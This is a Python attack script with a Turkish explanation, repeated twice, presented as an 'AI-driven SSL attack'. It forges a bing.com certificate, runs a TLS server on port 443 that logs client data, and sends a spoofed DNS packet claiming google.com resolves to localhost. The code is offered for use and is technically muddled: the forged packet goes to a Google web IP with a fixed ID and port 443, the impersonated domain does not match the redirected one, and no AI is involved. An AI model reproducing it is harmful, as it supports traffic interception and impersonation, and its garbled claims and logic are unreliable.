# SSL sertifikası oluşturmak için
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime
# Özel anahtar oluştur
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
)
# Sertifika bilgilerini belirle
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, u"TR"),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"Mardin"),
x509.NameAttribute(NameOID.LOCALITY_NAME, u"Midyat"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Bing"),
x509.NameAttribute(NameOID.COMMON_NAME, u"bing.com"),
])
# Sertifika geçerlilik süresini belirle
valid_from = datetime.datetime.utcnow()
valid_to = valid_from + datetime.timedelta(days=365)
# Sertifika imzala
cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
private_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
valid_from
).not_valid_after(
valid_to
).sign(private_key, hashes.SHA256())
# Sertifikayı ve özel anahtarı dosyaya yaz
with open("cert.pem", "wb") as f:
f.write(cert.public_bytes(serialization.Encoding.PEM))
with open("key.pem", "wb") as f:
f.write(private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
))
# Web sunucusu kurmak için
import socket
import ssl
# SSL bağlantısı için sertifika ve anahtar dosyalarını belirle
certfile = "cert.pem"
keyfile = "key.pem"
# Sunucu soketini oluştur
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Soketi bağlama adresine tekrar kullanılabilir yap
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Soketi bağlama adresine bağla
server_socket.bind(('0.0.0.0', 443))
# Soketi dinleme moduna al
server_socket.listen(5)
# SSL bağlantısı için bağlam oluştur
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile, keyfile)
# Bağlantıları kabul et
while True:
# Yeni bir bağlantı al
conn, addr = server_socket.accept()
# Bağlantıyı SSL ile sarmala
ssl_conn = context.wrap_socket(conn, server_side=True)
# Bağlantıdan veri al
data = ssl_conn.recv(1024)
# Veriyi yazdır
print(data)
# Bağlantıyı kapat
ssl_conn.close()
# DNS zehirleme saldırısı yapmak için
import scapy.all as scapy
# Hedef web sitesinin IP adresini belirle
target_ip = "216.58.206.46" # google.com
# Sahte web sitesinin IP adresini belirle
fake_ip = "127.0.0.1" # localhost
# DNS paketi oluştur
dns_packet = scapy.IP(dst=target_ip, src=fake_ip) / \
scapy.UDP(dport=53, sport=443) / \
scapy.DNS(id=0, qr=1, aa=1, qd=scapy.DNSQR(qname="google.com"), an=scapy.DNSRR(rrname="google.com", rdata=fake_ip))
# DNS paketini gönder
scapy.send(dns_packet)
#Yazan Rıdvan Kaya
Bu kod, Python kullanarak yapay zekayla SSL saldırısı yapmayı gösteren bir örnektir. SSL saldırıları, güvenli internet bağlantılarını tehlikeye atan ağ saldırılarıdır. Bu kod, üç aşamadan oluşur:
- İlk aşamada, bir SSL sertifikası oluşturulur. Bu sertifika, web sitesinin kimliğini doğrulamak için kullanılır. Bu kod, sahte bir sertifika oluşturur ve bunu dosyaya yazar. Bu sertifika, Bing adlı bir kuruluş tarafından verilmiş gibi görünür ve bing.com adlı bir web sitesine aitmiş gibi gösterir.
- İkinci aşamada, bir web sunucusu kurulur ve SSL/TLS bağlantılarını dinler. Bu sunucu, sahte sertifikayı kullanarak bağlanan istemcilere kendisini bing.com olarak tanıtır. Bu sunucu, bağlantıdan gelen verileri alır ve yazdırır.
- Üçüncü aşamada, bir DNS zehirleme saldırısı yapılır. Bu saldırı, hedef web sitesinin IP adresini sahte web sitesinin IP adresiyle değiştirir. Bu kod, google.com adlı web sitesini hedef alır ve onu localhost'a yönlendirir. Bu şekilde, istemciler google.com'a bağlanmak isterken sahte web sitesine bağlanırlar.
SSL saldırılarına karşı korunmak için, web sitelerinin güvenilir bir sertifika yetkilisinden (CA) alınan güncel ve güvenli bir SSL/TLS sertifikasına sahip olması gerekir. Ayrıca, VPN protokolleri gibi şifreli bağlantılar kullanmak da saldırı riskini azaltabilir.
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime
# Özel anahtar oluştur
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
)
# Sertifika bilgilerini belirle
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, u"TR"),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"Mardin"),
x509.NameAttribute(NameOID.LOCALITY_NAME, u"Midyat"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Bing"),
x509.NameAttribute(NameOID.COMMON_NAME, u"bing.com"),
])
# Sertifika geçerlilik süresini belirle
valid_from = datetime.datetime.utcnow()
valid_to = valid_from + datetime.timedelta(days=365)
# Sertifika imzala
cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
private_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
valid_from
).not_valid_after(
valid_to
).sign(private_key, hashes.SHA256())
# Sertifikayı ve özel anahtarı dosyaya yaz
with open("cert.pem", "wb") as f:
f.write(cert.public_bytes(serialization.Encoding.PEM))
with open("key.pem", "wb") as f:
f.write(private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
))
# Web sunucusu kurmak için
import socket
import ssl
# SSL bağlantısı için sertifika ve anahtar dosyalarını belirle
certfile = "cert.pem"
keyfile = "key.pem"
# Sunucu soketini oluştur
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Soketi bağlama adresine tekrar kullanılabilir yap
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Soketi bağlama adresine bağla
server_socket.bind(('0.0.0.0', 443))
# Soketi dinleme moduna al
server_socket.listen(5)
# SSL bağlantısı için bağlam oluştur
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile, keyfile)
# Bağlantıları kabul et
while True:
# Yeni bir bağlantı al
conn, addr = server_socket.accept()
# Bağlantıyı SSL ile sarmala
ssl_conn = context.wrap_socket(conn, server_side=True)
# Bağlantıdan veri al
data = ssl_conn.recv(1024)
# Veriyi yazdır
print(data)
# Bağlantıyı kapat
ssl_conn.close()
# DNS zehirleme saldırısı yapmak için
import scapy.all as scapy
# Hedef web sitesinin IP adresini belirle
target_ip = "216.58.206.46" # google.com
# Sahte web sitesinin IP adresini belirle
fake_ip = "127.0.0.1" # localhost
# DNS paketi oluştur
dns_packet = scapy.IP(dst=target_ip, src=fake_ip) / \
scapy.UDP(dport=53, sport=443) / \
scapy.DNS(id=0, qr=1, aa=1, qd=scapy.DNSQR(qname="google.com"), an=scapy.DNSRR(rrname="google.com", rdata=fake_ip))
# DNS paketini gönder
scapy.send(dns_packet)
#Yazan Rıdvan Kaya
Bu kod, Python kullanarak yapay zekayla SSL saldırısı yapmayı gösteren bir örnektir. SSL saldırıları, güvenli internet bağlantılarını tehlikeye atan ağ saldırılarıdır. Bu kod, üç aşamadan oluşur:
- İlk aşamada, bir SSL sertifikası oluşturulur. Bu sertifika, web sitesinin kimliğini doğrulamak için kullanılır. Bu kod, sahte bir sertifika oluşturur ve bunu dosyaya yazar. Bu sertifika, Bing adlı bir kuruluş tarafından verilmiş gibi görünür ve bing.com adlı bir web sitesine aitmiş gibi gösterir.
- İkinci aşamada, bir web sunucusu kurulur ve SSL/TLS bağlantılarını dinler. Bu sunucu, sahte sertifikayı kullanarak bağlanan istemcilere kendisini bing.com olarak tanıtır. Bu sunucu, bağlantıdan gelen verileri alır ve yazdırır.
- Üçüncü aşamada, bir DNS zehirleme saldırısı yapılır. Bu saldırı, hedef web sitesinin IP adresini sahte web sitesinin IP adresiyle değiştirir. Bu kod, google.com adlı web sitesini hedef alır ve onu localhost'a yönlendirir. Bu şekilde, istemciler google.com'a bağlanmak isterken sahte web sitesine bağlanırlar.
SSL saldırılarına karşı korunmak için, web sitelerinin güvenilir bir sertifika yetkilisinden (CA) alınan güncel ve güvenli bir SSL/TLS sertifikasına sahip olması gerekir. Ayrıca, VPN protokolleri gibi şifreli bağlantılar kullanmak da saldırı riskini azaltabilir.

